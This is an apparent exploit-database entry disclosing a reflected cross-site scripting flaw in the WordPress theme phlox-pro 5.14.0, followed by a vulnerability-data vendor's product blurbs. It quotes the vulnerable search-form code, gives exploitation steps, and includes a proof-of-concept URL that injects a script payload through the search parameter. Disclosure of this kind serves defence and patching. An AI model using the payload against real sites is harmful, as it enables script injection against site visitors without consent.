`# Exploit Title: WordPress Theme phlox-pro 5.14.0 - 'searchform' Cross-Site Scripting (XSS)
# Date: 3/12/2023
# Exploit Author: Haktrak Team
# Vendor Homepage: https://phlox.pro
# Software Link: https://www.phlox.pro/go/
# Version: 5.14.0
# Tested on: Linux[apache]/wordrepss 6.3.1
Description:
A Cross Site Scripting (XSS) vulnerability exists in WordPress Theme phlox-pro
Vulnerable Code:
<form method="get" id="searchform" class="searchform" action="<?php echo esc_url( home_url( '/' ) ); ?>">
<input type="text" class="field" name="s" id="s" placeholder="<?php esc_attr_e( 'Search Here', 'phlox-pro'); ?>" value="<?php the_search_query(); ?>" />
Steps to exploit:
1) Go to searchform
2) Insert your payload in the "search"
Proof of concept (Poc):
The following payload will allow you to run the javascript -
https://example.com/?s=ok&%27><script>alert(%27XSS%27)</script>123=1
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation